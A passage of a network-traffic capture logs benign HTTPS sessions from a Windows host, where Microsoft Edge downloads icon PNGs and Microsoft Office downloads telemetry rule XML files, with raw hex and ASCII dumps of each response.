M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49891	13.107.246.40	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:47 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:47 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:47 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: a65945c5-601e-001a-287f-404768000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T101447Z-174f7845968zgtf6hC1EWRqd8s0000000pug000000001np3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 10:14:47 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:47 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:48 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:47 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1bbe3829-001e-0079-0e66-4012e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101447Z-174f7845968n2hr8hC1EWR9cag0000000weg000000004n4n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 10:14:48 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:49 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:49 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 8b39e191-d01e-0065-5191-3fb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101449Z-174f7845968g6hv8hC1EWR1v2n00000004tg000000001rgp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:49 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49903	13.107.246.40	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:49 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:49 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:49 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 91faf48f-601e-005e-307f-409b04000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T101449Z-174f7845968vqt9xhC1EWRgten0000000wx00000000024b0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 10:14:49 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:49 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:49 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:49 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 77f1aa82-301e-003f-6391-3f266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101449Z-174f7845968xr5c2hC1EWRd0hn0000000dh0000000009s7d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49905	13.107.246.40	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:49 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:49 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:49 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 19199b86-801e-001b-0191-404695000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T101449Z-174f78459685726chC1EWRsnbg0000000wrg00000000a818 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 10:14:49 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49906	13.107.246.40	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:49 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 10:14:50 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:49 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: c5d67d76-a01e-0061-4a7f-402cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T101449Z-174f78459688l8rvhC1EWRtzr000000009bg0000000061pa Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 10:14:50 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49908	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:49 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:49 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 35239132-b01e-005c-225f-404c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101449Z-174f7845968frfdmhC1EWRxxbw0000000wx0000000002cq9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:50 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49909	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:49 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:50 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 48855d02-a01e-0053-3f66-408603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101450Z-174f7845968cpnpfhC1EWR3afc0000000wcg000000005srq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:50 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49910	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:49 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:50 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:50 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fa988ca-e01e-000c-2c91-3f8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101450Z-174f78459685m244hC1EWRgp2c0000000wm0000000006ebf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 10:14:50 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49911	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:51 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 10:14:51 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 10:14:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 0f0f185b-001e-0065-4a37-400b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T101451Z-174f7845968zgtf6hC1EWRqd8s0000000pn000000000b6wg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-27 10:14:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49915	20.75.60.91	443	7560	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
